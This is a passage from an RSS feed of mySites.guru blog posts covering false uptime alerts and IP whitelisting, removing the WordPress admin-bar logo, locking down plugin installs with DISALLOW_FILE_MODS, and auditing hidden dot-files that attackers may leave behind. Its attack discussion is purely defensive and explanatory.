&lt;li&gt;A runaway process or traffic surge eats all available RAM and the web server stops accepting connections&lt;/li&gt;
&lt;li&gt;Heavy background tasks (backups, malware scans, bulk updates) peg the CPU so hard that nothing else gets served&lt;/li&gt;
&lt;li&gt;The server hits its maximum concurrent connections and starts rejecting new ones&lt;/li&gt;
&lt;li&gt;The server&apos;s firewall sees our IP hitting many different domains and decides we&apos;re attacking it, blocking us across the board&lt;/li&gt;
&lt;li&gt;A brief network interruption between our server and yours&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These events are usually short - 30 seconds to a couple of minutes - but our 5-minute check interval with 3-step verification means even brief outages get caught and reported.&lt;/p&gt;
&lt;p&gt;If all your sites are on one server and they all go offline together, the server is the problem. Talk to your hosting provider about the resource limits on your plan, or consider spreading sites across multiple servers so a problem on one only affects part of your portfolio.&lt;/p&gt;
&lt;h2&gt;What can you do about it?&lt;/h2&gt;
&lt;h3&gt;1. Whitelist our monitoring IP&lt;/h3&gt;
&lt;p&gt;Start here. Ask your hosting provider to whitelist this IP address:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center rounded-md border border-neutral-300 dark:border-neutral-600 bg-neutral-50 dark:bg-neutral-800 overflow-hidden max-w-sm&quot;&amp;gt;
&amp;lt;code class=&quot;flex-1 px-4 py-3 text-sm font-mono text-neutral-900 dark:text-white select-all&quot;&amp;gt;165.227.239.229&amp;lt;/code&amp;gt;
&amp;lt;button data-copy=&quot;165.227.239.229&quot; class=&quot;px-3 py-3 border-l border-neutral-300 dark:border-neutral-600 hover:bg-neutral-200 dark:hover:bg-neutral-700 transition-colors&quot; title=&quot;Copy to clipboard&quot;&amp;gt;
&amp;lt;svg class=&quot;icon-copy w-4 h-4 text-neutral-500&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;&amp;lt;rect x=&quot;9&quot; y=&quot;9&quot; width=&quot;13&quot; height=&quot;13&quot; rx=&quot;2&quot; ry=&quot;2&quot; stroke-width=&quot;2&quot;/&amp;gt;&amp;lt;path d=&quot;M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1&quot; stroke-width=&quot;2&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg class=&quot;icon-check hidden w-4 h-4 text-green-500&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;&amp;lt;polyline points=&quot;20 6 9 17 4 12&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script&amp;gt;
document.querySelector(&apos;[data-copy]&apos;).addEventListener(&apos;click&apos;, function () {
var ip = this.dataset.copy;
navigator.clipboard.writeText(ip).then(() =&amp;gt; {
var iconCopy = this.querySelector(&apos;.icon-copy&apos;);
var iconCheck = this.querySelector(&apos;.icon-check&apos;);
iconCopy.classList.add(&apos;hidden&apos;);
iconCheck.classList.remove(&apos;hidden&apos;);
setTimeout(() =&amp;gt; {
iconCheck.classList.add(&apos;hidden&apos;);
iconCopy.classList.remove(&apos;hidden&apos;);
}, 2000);
});
});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;Have them add it to their firewall&apos;s allow list so it never gets blocked or rate-limited. This solves the most common cause of false downtime alerts.&lt;/p&gt;
&lt;p&gt;If you manage your own server, you can do it yourself. In CSF (ConfigServer Security &amp;amp; Firewall), add the IP to &lt;code&gt;/etc/csf/csf.allow&lt;/code&gt;. In Fail2Ban, add it to the &lt;code&gt;ignoreip&lt;/code&gt; setting.&lt;/p&gt;
&lt;h3&gt;2. Check your server resources&lt;/h3&gt;
&lt;p&gt;Frequent brief downtime across multiple sites on the same server usually means the server is underpowered. Look at your memory usage, CPU load during the times alerts arrive, and disk space. Your hosting control panel usually has graphs for this, or ask their support team.&lt;/p&gt;
&lt;h3&gt;3. Spread sites across multiple servers&lt;/h3&gt;
&lt;p&gt;If you have 50+ sites on one server, splitting them across two or three servers means a problem on one only takes down part of your site portfolio. It also makes troubleshooting easier because you can see exactly which server is having issues based on which group of sites goes offline.&lt;/p&gt;
&lt;h3&gt;4. Review your security software&lt;/h3&gt;
&lt;p&gt;Check that rate-limiting thresholds on your server or security plugins aren&apos;t set too aggressively. Monitoring traffic from a known IP every 5 minutes is not an attack.&lt;/p&gt;
&lt;h3&gt;5. Look at the timing&lt;/h3&gt;
&lt;p&gt;If your alerts cluster around specific times (say, every night at 2 AM), something scheduled on your server is probably eating all available resources during that window. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups&lt;/a&gt; and bulk updates are the usual suspects - consider &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;staggering your schedules&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why should you take the alerts seriously?&lt;/h2&gt;
&lt;p&gt;We built the monitoring engine to avoid false positives. Three checks, pauses between each, a different HTTP method on the final attempt. If we send you an alert, our server genuinely could not reach your site after multiple attempts over at least 20 seconds.&lt;/p&gt;
&lt;p&gt;If we can&apos;t reach your site, your visitors probably can&apos;t either. Each downtime alert represents a window where real visitors may have hit an error page or a timeout instead of your site.&lt;/p&gt;
&lt;p&gt;The alerts aren&apos;t the problem. They&apos;re telling you about it.&lt;/p&gt;
&lt;h2&gt;Need help?&lt;/h2&gt;
&lt;p&gt;If you&apos;re still getting frequent alerts after whitelisting our IP, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;. We can check the response codes and timing from our end to help narrow down what&apos;s going on.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the broader monitoring picture, see our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><category>downtime</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/uptime-monitoring-explained.DnGyGlms.png" length="0" type="image/png"/></item><item><title>How to Remove the WordPress Logo from the Admin Bar with One Click</title><link>https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</guid><description>The WordPress admin bar logo links to WordPress.org and identifies your CMS. Remove it in one click with mySites.guru for a white-label admin.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is the WordPress logo in the admin bar?&lt;/h2&gt;
&lt;p&gt;Every WordPress installation displays the WordPress logo in the top-left corner of the admin toolbar. Hovering over it reveals a dropdown menu linking to WordPress.org, documentation, support forums, and a feedback page.&lt;/p&gt;
&lt;p&gt;For WordPress developers and site administrators, these links are occasionally useful. For clients, content editors, and end users, they&apos;re a source of confusion and a missed branding opportunity.&lt;/p&gt;
&lt;h2&gt;Why should you remove it?&lt;/h2&gt;
&lt;h3&gt;White-label client delivery&lt;/h3&gt;
&lt;p&gt;If you build WordPress sites for clients, the admin interface is part of what you&apos;re delivering. A WordPress logo in the admin bar says &quot;this is WordPress&quot; when you might want it to say &quot;this is your website&apos;s management panel.&quot; Removing the logo is a standard white-labelling step alongside custom login pages and branded dashboard widgets. Pair it with &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; and the result is a fully branded experience from login to reporting.&lt;/p&gt;
&lt;h3&gt;Reduced confusion&lt;/h3&gt;
&lt;p&gt;Non-technical users click things. The WordPress logo menu links to WordPress.org, which is irrelevant to someone who just needs to publish a blog post or update a product listing. Removing it eliminates a distraction and keeps users focused on the tools they actually need.&lt;/p&gt;
&lt;h3&gt;Cleaner interface&lt;/h3&gt;
&lt;p&gt;Fewer controls in the admin bar reduce visual noise. It&apos;s a small thing, but it makes the admin panel feel intentional rather than out-of-the-box.&lt;/p&gt;
&lt;h3&gt;Marginal performance&lt;/h3&gt;
&lt;p&gt;The WordPress logo menu includes HTML, CSS, and JavaScript for the dropdown. Removing it saves a small amount of page weight. On individual page loads it&apos;s negligible, but across thousands of admin page views per month on a busy multi-user site, it adds up.&lt;/p&gt;
&lt;h2&gt;How do you remove it manually?&lt;/h2&gt;
&lt;p&gt;The standard approach is a function in your theme or a must-use plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;wp_before_admin_bar_render&apos;, function () {
    global $wp_admin_bar;
    $wp_admin_bar-&amp;gt;remove_menu(&apos;wp-logo&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This removes the WordPress logo node from the admin bar for all users. You can wrap it in a capability check if you want admins to still see it.&lt;/p&gt;
&lt;p&gt;The manual approach works fine for a single site. For a portfolio of sites with different themes, you&apos;d need to add this to each site&apos;s theme or create a must-use plugin for each server. That&apos;s where &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites from a single dashboard&lt;/a&gt; pays off.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle it?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit checks whether the WordPress logo is still showing in the admin bar. If it is, click fix and the connector removes it. The change survives WordPress core updates and theme switches because it&apos;s handled by the connector plugin, not theme code. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;p&gt;Want it back for development? Toggle it on again from the dashboard.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does this fit into a broader customisation workflow?&lt;/h2&gt;
&lt;p&gt;Removing the WordPress logo is often one step in a series of admin customisations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Custom login page - brand the login screen with your logo and colours&lt;/li&gt;
&lt;li&gt;Remove WordPress logo from admin bar - handled by mySites.guru&lt;/li&gt;
&lt;li&gt;Custom dashboard widgets - replace default WordPress news and events with your own content&lt;/li&gt;
&lt;li&gt;Custom admin footer - replace &quot;Thank you for creating with WordPress&quot; with your own text&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/&quot;&gt;Disable the frontend admin bar&lt;/a&gt; for non-admins - covered in the companion post&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru handles the WordPress logo removal from this list. For the others, you&apos;d typically use a white-label plugin or custom theme functions. But having the logo removal available as a one-click audit fix means one less thing to configure manually on each new site. The same one-click pattern applies to other WordPress cleanup tasks, like &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing the default Sample Page and Hello World post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Who benefits most?&lt;/h2&gt;
&lt;p&gt;Agencies delivering WordPress sites to clients, freelancers who want a polished admin experience, enterprise deployments with corporate branding requirements, and membership platforms where logged-in users see the admin bar.&lt;/p&gt;
&lt;p&gt;If you want a consistent branded admin experience across multiple WordPress sites without maintaining custom code on each one, this is an easy win. For more on managing your WordPress workflow efficiently, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>white-label</category><category>branding</category><category>customization</category><enclosure url="https://mysites.guru/_astro/remove-wordpress-logo-admin-bar.CxUwLauY.png" length="0" type="image/png"/></item><item><title>How to Stop Any Plugin Installs in WordPress Admin</title><link>https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</guid><description>Add DISALLOW_FILE_MODS to wp-config.php to block plugin and theme installs in WordPress admin. Code snippet, wp-cli usage, and how to enforce it.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why does the WordPress admin let anyone install code?&lt;/h2&gt;
&lt;p&gt;Out of the box, any WordPress administrator can install plugins and themes directly from the WordPress dashboard. They can also upload ZIP files containing arbitrary PHP code, and edit existing plugin and theme files through the built-in code editor.&lt;/p&gt;
&lt;p&gt;For a single-user blog, this is convenient. For a professionally managed site with multiple admin users, it&apos;s a gaping security hole. If an attacker has already used this to compromise your site, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here&apos;s how to confirm the hack and respond&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Consider what &quot;install a plugin&quot; really means in WordPress: it&apos;s uploading and executing arbitrary PHP code on your web server. The WordPress plugin directory has quality guidelines, but the upload functionality accepts any ZIP file - including ones downloaded from random websites, received via email, or crafted by an attacker.&lt;/p&gt;
&lt;h2&gt;What is the WordPress security case for DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;h3&gt;Compromised admin accounts&lt;/h3&gt;
&lt;p&gt;The most common WordPress hack path is a stolen or brute-forced admin password, not a zero-day exploit. Once an attacker has admin access, installing a malicious plugin is the fastest way to establish a persistent backdoor.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; enabled, even a compromised admin account can&apos;t install plugins, upload themes, or edit PHP files through the WordPress interface. The attacker still has admin access (which is bad), but they can&apos;t escalate from &quot;can manage content&quot; to &quot;can execute arbitrary code on the server.&quot;&lt;/p&gt;
&lt;h3&gt;Unauthorized installations&lt;/h3&gt;
&lt;p&gt;On sites with multiple admins - common in agencies, marketing teams, and organizations - there&apos;s always someone who wants to install &quot;just one more plugin&quot; without testing it. Maybe it&apos;s a social sharing widget, maybe it&apos;s a page builder, maybe it&apos;s something they found in a blog post.&lt;/p&gt;
&lt;p&gt;Every plugin added to a WordPress site is code that needs to be maintained, updated, and security-audited. Uncontrolled plugin installations lead to bloated, slow, vulnerable sites.&lt;/p&gt;
&lt;h3&gt;Supply chain attacks&lt;/h3&gt;
&lt;p&gt;Compromised plugins in the WordPress directory are a recurring problem. When a legitimate plugin is sold to a new developer who pushes a malicious update, sites with auto-updates enabled install the malicious version automatically. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; as a first line of defence. With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; on, even if auto-updates are enabled at the WordPress level, the file modification is blocked. If you also manage Joomla sites, be aware that &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;Joomla 5.4+ has its own automated core updates&lt;/a&gt; that should be reviewed and disabled for the same reasons.&lt;/p&gt;
&lt;h2&gt;How do you set DISALLOW_FILE_MODS manually?&lt;/h2&gt;
&lt;p&gt;Add this line to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;DISALLOW_FILE_MODS&apos;, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Removes the Plugin Editor and Theme Editor from the admin menu&lt;/li&gt;
&lt;li&gt;Hides the &quot;Add New&quot; button on the Plugins and Themes screens&lt;/li&gt;
&lt;li&gt;Blocks plugin and theme uploads through the admin&lt;/li&gt;
&lt;li&gt;Prevents automatic updates from modifying files (note: this is more aggressive than &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The manual process for multiple sites: SSH into each server, edit wp-config.php, verify the change, repeat. And keep checking that nobody has removed it.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru manage DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit reads &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; from wp-config.php on every connected site. If it&apos;s not set to &lt;code&gt;true&lt;/code&gt;, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector sets it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also view this constant across all your WordPress sites at once and toggle each one individually from the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Wordpress/wordpressconfiguration/disableplugininstaller&quot;&gt;all-sites tool view&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If the constant gets removed later (WordPress upgrade, another admin, hosting provider auto-configuration), the next snapshot catches it again. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;h2&gt;But how do I update WordPress plugins then?&lt;/h2&gt;
&lt;p&gt;If you block file modifications in the admin, how do you keep plugins and themes updated?&lt;/p&gt;
&lt;p&gt;Several options:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; - the command-line tool for WordPress isn&apos;t affected by &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. You can run &lt;code&gt;wp plugin update --all&lt;/code&gt; via SSH.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SFTP/SSH deployment&lt;/strong&gt; - upload updated plugin files directly to the server, bypassing the WordPress admin entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt; - the connector plugin operates at a level that can apply updates independently of the WordPress admin interface. You &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;manage updates from the mySites.guru dashboard&lt;/a&gt; while keeping the WordPress admin locked down. For the full workflow, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; separates two concerns that WordPress normally bundles together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Content management&lt;/strong&gt; - creating pages, writing posts, managing users (still works)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code management&lt;/strong&gt; - installing plugins, editing themes, modifying PHP files (blocked)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On a well-managed site, different people (or systems) handle these two concerns. Content editors don&apos;t need to install plugins. Plugin updates happen through a controlled process, not through the WordPress admin UI.&lt;/p&gt;
&lt;h2&gt;What about WordPress ALLOW_UNFILTERED_UPLOADS?&lt;/h2&gt;
&lt;p&gt;There&apos;s a related constant that&apos;s more dangerous in practice: &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it lets administrators upload any file type through the WordPress media library - PHP files, executables, anything.&lt;/p&gt;
&lt;p&gt;WordPress normally restricts uploads to safe file types like images, PDFs, and documents. &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt; removes that restriction entirely. Some developers enable it to upload SVGs or custom font files, then forget to turn it off.&lt;/p&gt;
&lt;p&gt;If an attacker compromises an admin account on a site with unfiltered uploads enabled, they can upload a PHP backdoor directly through the media uploader. No plugin installation needed, no theme editor required - just drag and drop a &lt;code&gt;.php&lt;/code&gt; file into the media library.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;ALLOW_UNFILTERED_UPLOADS&apos;, false);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep this set to &lt;code&gt;false&lt;/code&gt; (or better yet, don&apos;t define it at all - &lt;code&gt;false&lt;/code&gt; is the default). If you need SVG uploads, use a plugin that sanitises SVG files rather than opening the door to every file type.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit checks this constant alongside &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. If unfiltered uploads are enabled on any of your sites, you&apos;ll see it flagged and can disable it with one click.&lt;/p&gt;
&lt;h2&gt;How does this fit into a WordPress defence-in-depth strategy?&lt;/h2&gt;
&lt;p&gt;Locking down file modifications works best alongside other hardening steps: disabling XML-RPC, limiting post revisions, closing the unauthenticated database repair endpoint, &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforcing minor-only core updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and enforcing strong passwords with 2FA.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit checks all of these&lt;/a&gt; in the same snapshot. You see your security posture across every site on one screen, and any configuration drift gets caught automatically. For more on what the audit covers, see the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice guide&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several hardening measures in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>hardening</category><category>wp-config</category><enclosure url="https://mysites.guru/_astro/stop-plugin-installs-wordpress-admin.CXGIgaAa.png" length="0" type="image/png"/></item><item><title>Hidden Files Lurking on Your Web Server</title><link>https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</link><guid isPermaLink="true">https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</guid><description>Your web server probably has hidden dot-files you&apos;ve never seen. Some are harmless, some were left by hackers. Here&apos;s how to find them.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You know what&apos;s great about files that start with a period? They&apos;re invisible. Your FTP client hides them. Your cPanel file manager hides them. Even &lt;code&gt;ls&lt;/code&gt; on the command line hides them unless you remember to add &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hackers know this too.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What is the dot-file blind spot?&lt;/h2&gt;
&lt;p&gt;Every web server has files that start with a dot - &lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;, &lt;code&gt;.user.ini&lt;/code&gt;. These are normal. They control how your server behaves, who can access what, and how PHP runs.&lt;/p&gt;
&lt;p&gt;If a hacker drops a file called &lt;code&gt;.joomla.class.php&lt;/code&gt; or &lt;code&gt;.wordpress.class.php&lt;/code&gt; into a random subdirectory three levels deep, you&apos;ll probably never see it. Not in your file manager, not during a casual browse through FTP, not ever. That file could sit there for years, redirecting your visitors to a spam site or giving the attacker a backdoor to walk right back in whenever they feel like it. If any of this sounds familiar, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check every file in your webspace - and if you already know something is wrong, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; walks you through what to do next.&lt;/p&gt;
&lt;p&gt;We&apos;ve seen this on real sites. Hidden dot-folders too, like a &lt;code&gt;.cache&lt;/code&gt; or &lt;code&gt;.tmp&lt;/code&gt; directory planted by an attacker, full of phishing kits or mailer scripts. The dot prefix keeps them invisible on most hosting panels, so they survive cleanups and updates because nobody knows they&apos;re there.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru find them?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any connected site, mySites.guru scans every file on your webspace and flags anything with a dot-prefixed name. The hidden files check looks through the full file index for any path containing &lt;code&gt;/.&lt;/code&gt; - catching dot-files &lt;em&gt;and&lt;/em&gt; dot-folders at every level of your site.&lt;/p&gt;
&lt;p&gt;The audit dashboard shows your hidden files count with a simple badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - zero hidden files found (uncommon, but possible on minimal installs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow&lt;/strong&gt; - hidden files detected, review recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&apos;s a yellow warning, not a red alarm. The tool lists &lt;em&gt;every&lt;/em&gt; file with a dot-prefix - legitimate or not. It doesn&apos;t try to decide what&apos;s safe and what isn&apos;t. That&apos;s your call. Some of these files will be perfectly normal (&lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;), some will be developer junk (&lt;code&gt;.gitkeep&lt;/code&gt;), and some might be malware. The point is to make sure you actually &lt;em&gt;know&lt;/em&gt; what&apos;s there, because you can&apos;t make that judgement on files you&apos;ve never seen.&lt;/p&gt;
&lt;p&gt;If something looks suspicious, other mySites.guru tools can help - the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt; will flag known backdoor patterns, so the same file might turn up across multiple tools. That overlap is deliberate. Different tools catch different things from different angles.&lt;/p&gt;
&lt;h2&gt;Drilling into the results&lt;/h2&gt;
&lt;p&gt;Click through from the audit result and you&apos;ll get the full list of every hidden file on the site, sorted by last modified date (newest first). For each file you can see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The full file path&lt;/li&gt;
&lt;li&gt;When it was last modified&lt;/li&gt;
&lt;li&gt;File size (flagged if unusually large)&lt;/li&gt;
&lt;li&gt;File permissions (flagged if they&apos;re not standard 644)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is where it gets useful. You&apos;ll probably see a handful of &lt;code&gt;.htaccess&lt;/code&gt; files - one in the root, maybe one in &lt;code&gt;/administrator/&lt;/code&gt; or &lt;code&gt;/wp-admin/&lt;/code&gt;, and that&apos;s expected. But if you see a &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/images/stories/&lt;/code&gt; or a &lt;code&gt;.php&lt;/code&gt; dot-file buried in &lt;code&gt;/wp-content/uploads/2019/03/&lt;/code&gt;, that&apos;s worth a closer look. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; can scan its contents for known malware patterns and confirm whether it&apos;s a known backdoor.&lt;/p&gt;
&lt;p&gt;The tool paginates results (100 at a time with &quot;Load another 100&quot; or &quot;Show All&quot;), and you can &lt;strong&gt;export everything to CSV&lt;/strong&gt; if you need to share the findings with a client or keep a record.&lt;/p&gt;
&lt;h2&gt;Are hidden folders just as bad?&lt;/h2&gt;
&lt;p&gt;The audit also counts &lt;strong&gt;hidden folders&lt;/strong&gt; separately. A dot-prefixed folder like &lt;code&gt;/.bak&lt;/code&gt; or &lt;code&gt;/.old&lt;/code&gt; can contain an entire toolkit - file managers, mailer scripts, SEO spam pages - all completely invisible to anyone casually browsing the server.&lt;/p&gt;
&lt;p&gt;Attackers also disguise backdoors as legitimate file types. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework attack&lt;/a&gt; drops PHP code inside SVG image files - they pass basic file type checks but execute as PHP on the server.&lt;/p&gt;
&lt;p&gt;These hidden folders can survive for &lt;em&gt;years&lt;/em&gt;. Site owners clean up after a hack, reinstall core files, change passwords, and feel safe. But that &lt;code&gt;.tools&lt;/code&gt; folder three directories deep? Still there. Still accessible. Still a way back in. If you find something that shouldn&apos;t be there, our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to fixing a hacked site&lt;/a&gt; walks you through what to do without destroying the evidence.&lt;/p&gt;
&lt;h2&gt;It&apos;s not always hackers - developers leave these too&lt;/h2&gt;
&lt;p&gt;Not every hidden file is malware. Some of the dot-files on your site were put there by legitimate extension developers who made questionable decisions.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Take &lt;code&gt;.gitkeep&lt;/code&gt; files. These are development artifacts - empty placeholder files that developers use to force Git to track otherwise-empty directories. They serve zero purpose on a production web server. Yet plenty of extensions ship with &lt;code&gt;.gitkeep&lt;/code&gt; files scattered throughout their directory trees because nobody bothered to exclude them from the release package. They&apos;re harmless, but they&apos;re clutter, and they tell you the developer&apos;s build process needs work.&lt;/p&gt;
